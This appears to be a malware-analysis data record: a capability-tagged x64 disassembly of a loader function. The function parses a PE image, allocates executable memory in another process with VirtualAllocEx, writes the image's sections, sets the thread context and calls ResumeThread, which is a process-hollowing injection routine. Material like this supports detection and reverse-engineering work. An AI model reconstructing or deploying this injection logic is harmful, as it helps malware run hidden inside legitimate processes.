Function at 0x1400c6500
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xor eax, eax
mov qword [rbp - 0x58], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x1400c6547
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x1400c654a
xor r14d, r14d
call fcn.140001177
mov r15, rax
mov qword [rbp - 0x60], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
test eax, eax
je 0x1400c6572
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x1400c657b
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x1400c6584
mov eax, dword [r14]
jmp 0x1400c6588
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x1400c7051
call fcn.1400c64d0
test eax, eax
jne 0x1400c65a3
mov ecx, 0x40
jmp 0x1400c65a8
mov ecx, 0x60
call fcn.1400c71a0
mov rdi, rax
call fcn.1400c64d0
test eax, eax
jne 0x1400c65c0
mov ecx, 0x10
jmp 0x1400c65c5
mov ecx, 0x18
movsxd rcx, ecx
call fcn.140163cd0
mov qword [rbp - 0x40], rax
xor ecx, ecx
mov dword [rbp - 0x44], ecx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x1403aa008]
xor r8d, r8d
xor r9d, r9d
call fcn.1400c7200
test eax, eax
je 0x1400c6f68
test rdi, 0xffffffffffff0000
je 0x1400c664b
mov rcx, rdi
mov qword [rbp - 0x70], rcx
lea rcx, [rbp - 0xa0]
call fcn.140005180
mov rcx, qword [rbp - 0x70]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xa0]
call fcn.1400051d0
mov r15, qword [rbp - 0x60]
cmp byte [r15], 0
jne 0x1400c6eb4
mov ecx, dword [r14 + 0x34]
mov edi, ecx
mov rcx, qword [rbp - 0x40]
mov rdx, rdi
call fcn.1400c7630
mov rcx, qword [rbp - 0x40]
mov rbx, qword [rcx]
mov r13, rcx
call fcn.1400c64d0
test eax, eax
jne 0x1400c6ebe
mov ecx, 4
movsxd rcx, ecx
mov r13, qword [rcx + r13]
test rbx, rbx
je 0x1400c6df6
test r13, r13
je 0x1400c6df6
movzx ecx, byte [r15]
test ecx, ecx
jne 0x1400c6ec8
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x1400c6ed2
mov eax, dword [r14 + 0x54]
mov dword [rbp - 0x48], eax
test ecx, ecx
jne 0x1400c6edc
movzx edx, word [r14 + 6]
movzx r10d, dx
mov dword [rbp - 0x4c], r10d
test ecx, ecx
jne 0x1400c6ee7
mov r11d, dword [r14 + 0x28]
mov dword [rbp - 0x50], r11d
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov qword [rbp - 0x70], rcx
mov rdx, rdi
mov qword [rbp - 0x78], rdx
mov dword [rbp - 0x64], r8d
mov r9d, 0x3000
mov dword [rbp - 0x68], r9d
lea rcx, [rbp - 0xa0]
call fcn.140005180
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x78]
mov r8d, dword [rbp - 0x64]
mov r9d, dword [rbp - 0x68]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xa0]
call fcn.1400051d0
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
mov rcx, rbx
mov rdx, rsi
mov r9d, dword [rbp - 0x48]
call fcn.1400c74f0
test eax, eax
je 0x1400c6d38
mov r15, qword [rbp - 0x60]
cmp byte [r15], 0
jne 0x1400c6ef1
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x4c], 0
jle 0x1400c67bf
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r8
mov r8, qword [rdi + 0x10]
mov edx, dword [r14 + 0x14]
add r8, rdx
mov edx, dword [r14 + 0xc]
add rdx, rsi
mov r9d, dword [r14 + 0x10]
mov rcx, rbx
call fcn.1400c74f0
test eax, eax
je 0x1400c6c7a
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x4c]
cmp r12d, ecx
mov dword [rbp - 0x4c], ecx
jl 0x1400c677e
cmp byte [r15], 0
jne 0x1400c6efe
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.140163cd0
mov rdi, rax
cmp byte [r15], 0
je 0x1400c6f08
mov dword [rdi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x1400c6f13
mov rcx, r13
mov rdx, rdi
call fcn.1400c7390
test eax, eax
je 0x1400c6bbc
mov r14d, dword [rdi + 0xa4]
mov r12, qword [rdi + 0x88]
mov rcx, rsi
call fcn.1400e6c00
cmp byte [r15], 0
jne 0x1400c6f2b
add r14d, 8
movsxd rdx, r14d
lea r9, [rbp - 0x58]
mov qword [rsp + 0x20], r9
mov r9d, dword [rax + 8]
mov rcx, rbx
mov r8, rax
call fcn.1400c7580
test eax, eax
je 0x1400c6a40
cmp byte [r15], 0
je 0x1400c6f35
mov r14d, dword [rbp - 0x50]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [r15], 0
jne 0x1400c6f4b
mov rcx, r13
mov rdx, rdi
call fcn.1400c7470
test eax, eax
je 0x1400c6982
mov rcx, r13
mov qword [rbp - 0x78], rcx
lea rcx, [rbp - 0xa0]
call fcn.140005180
mov rcx, qword [rbp - 0x78]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xa0]
call fcn.1400051d0
movsxd rcx, ebx
cmp rbx, rcx
jne 0x1400c6f63
mov ecx, ebx
mov dword [rbp - 0x44], ecx
jmp 0x1400c7028
lea rcx, [0x1403ad598]
call fcn.1400e93f0
mov rsi, rax
lea rcx, [0x1402ce498]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140079840
mov rcx, rdi
mov edx, 2
call fcn.14007a2a0
mov rcx, rdi
mov edx, 2
call fcn.14007a300
lea rcx, [0x1403cb508]
call fcn.1400e93f0
mov rdx, rax
mov rcx, rdi
call fcn.14007a120
mov rcx, rdi
call fcn.140079960
mov rdi, rax
call fcn.1400021c4
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403d0b30]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402d6390]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403c3a00]
call fcn.1400e93f0
mov rsi, rax
lea rcx, [0x1402ce498]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140079840
mov rcx, rdi
mov edx, 2
call fcn.14007a2a0
mov rcx, rdi
mov edx, 2
call fcn.14007a300
lea rcx, [0x1403c6180]
call fcn.1400e93f0
mov rdx, rax
mov rcx, rdi
call fcn.14007a120
mov rcx, rdi
call fcn.140079960
mov rdi, rax
call fcn.1400021c4
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403d0b30]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402d6390]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403b8b18]
call fcn.1400e93f0
mov rsi, rax
lea rcx, [0x1402ce498]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140079840
mov rcx, rdi
mov edx, 2
call fcn.14007a2a0
mov rcx, rdi
mov edx, 2
call fcn.14007a300
lea rcx, [0x1403abb10]
call fcn.1400e93f0
mov rdx, rax
mov rcx, rdi
call fcn.14007a120
mov rcx, rdi
call fcn.140079960
mov rdi, rax
call fcn.1400021c4
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403d0b30]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402d6390]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403c8f08]
call fcn.1400e93f0
mov rsi, rax
lea rcx, [0x1402ce498]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140079840
mov rcx, rdi
mov edx, 2
call fcn.14007a2a0
mov rcx, rdi
mov edx, 2
call fcn.14007a300
lea rcx, [0x1403b8168]
call fcn.1400e93f0
mov rdx, rax
mov rcx, rdi
call fcn.14007a120
mov rcx, rdi
call fcn.140079960
mov rdi, rax
call fcn.1400021c4
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403d0b30]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402d6390]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403b8c20]
call fcn.1400e93f0
mov rsi, rax
lea rcx, [0x1402ce498]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140079840
mov rcx, rdi
mov edx, 2
call fcn.14007a2a0
mov rcx, rdi
mov edx, 2
call fcn.14007a300
lea rcx, [0x1403c6d80]
call fcn.1400e93f0
mov rdx, rax
mov rcx, rdi
call fcn.14007a120
mov rcx, rdi
call fcn.140079960
mov rdi, rax
call fcn.1400021c4
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403d0b30]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402d6390]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403cb8f8]
call fcn.1400e93f0
mov rsi, rax
lea rcx, [0x1402ce498]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140079840
mov rcx, rdi
mov edx, 2
call fcn.14007a2a0
mov rcx, rdi
mov edx, 2
call fcn.14007a300
lea rcx, [0x1403cb250]
call fcn.1400e93f0
mov rdx, rax
mov rcx, rdi
call fcn.14007a120
mov rcx, rdi
call fcn.140079960
mov rdi, rax
call fcn.1400021c4
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403d0b30]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402d6390]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403c9950]
call fcn.1400e93f0
mov rsi, rax
lea rcx, [0x1402ce498]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140079840
mov rcx, rdi
mov edx, 2
call fcn.14007a2a0
mov rcx, rdi
mov edx, 2
call fcn.14007a300
lea rcx, [0x1403bf230]
call fcn.1400e93f0
mov rdx, rax
mov rcx, rdi
call fcn.14007a120
mov rcx, rdi
call fcn.140079960
mov rdi, rax
call fcn.1400021c4
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403d0b30]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402d6390]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403cb2c0]
call fcn.1400e93f0
mov rsi, rax
lea rcx, [0x1402ce498]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140079840
mov rcx, rdi
mov edx, 2
call fcn.14007a2a0
mov rcx, rdi
mov edx, 2
call fcn.14007a300
lea rcx, [0x1403ad2a0]
call fcn.1400e93f0
mov rdx, rax
mov rcx, rdi
call fcn.14007a120
mov rcx, rdi
call fcn.140079960
mov rdi, rax
call fcn.1400021c4
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403d0b30]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402d6390]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
mov rdi, qword [r12 + 0x30]
jmp 0x1400c665f
mov ecx, 8
jmp 0x1400c6687
mov r8d, dword [r12 + 0x50]
jmp 0x1400c66b0
mov eax, dword [r12 + 0x54]
jmp 0x1400c66bc
movzx edx, word [r12 + 6]
jmp 0x1400c66cc
mov r11d, dword [r12 + 0x28]
jmp 0x1400c66e0
lea r14, [r12 + 0x108]
jmp 0x1400c6775
mov ecx, 0x4d0
jmp 0x1400c67ce
mov dword [rdi], 0x10002
jmp 0x1400c67ea
mov rcx, r13
mov rdx, rdi
call fcn.1400c7300
test eax, eax
je 0x1400c6afe
jmp 0x1400c6807
lea rdx, [r12 + 0x10]
jmp 0x1400c682e
mov r14d, dword [rbp - 0x50]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1400c6869
mov rcx, r13
mov rdx, rdi
call fcn.1400c7410
test eax, eax
je 0x1400c68c4
jmp 0x1400c6886
call fcn.140187560
lea rcx, [0x1403bcf38]
call fcn.1400e93f0
mov rsi, rax
lea rcx, [0x1402ce498]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140079840
mov rcx, rdi
mov edx, 2
call fcn.14007a2a0
mov rcx, rdi
mov edx, 2
call fcn.14007a300
lea rcx, [0x1403acf78]
call fcn.1400e93f0
mov rdx, rax
mov rcx, rdi
call fcn.14007a120
mov rcx, rdi
call fcn.140079960
mov rdi, rax
call fcn.1400021c4
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403d0b30]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402d6390]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
int3
mov rcx, qword [rbp - 0x40]
test rcx, 0xffffffffffff0000
je 0x1400c703a
call fcn.140188e80
mov eax, dword [rbp - 0x44]
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x1403ca528]
call fcn.1400e93f0
mov rsi, rax
lea rcx, [0x1402ce498]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140079840
mov rcx, rdi
mov edx, 2
call fcn.14007a2a0
mov rcx, rdi
mov edx, 2
call fcn.14007a300
lea rcx, [0x1403c97d8]
call fcn.1400e93f0
mov rdx, rax
mov rcx, rdi
call fcn.14007a120
mov rcx, rdi
call fcn.140079960
mov rdi, rax
call fcn.1400021c4
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403d0b30]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402d6390]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400e1bb0
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
int3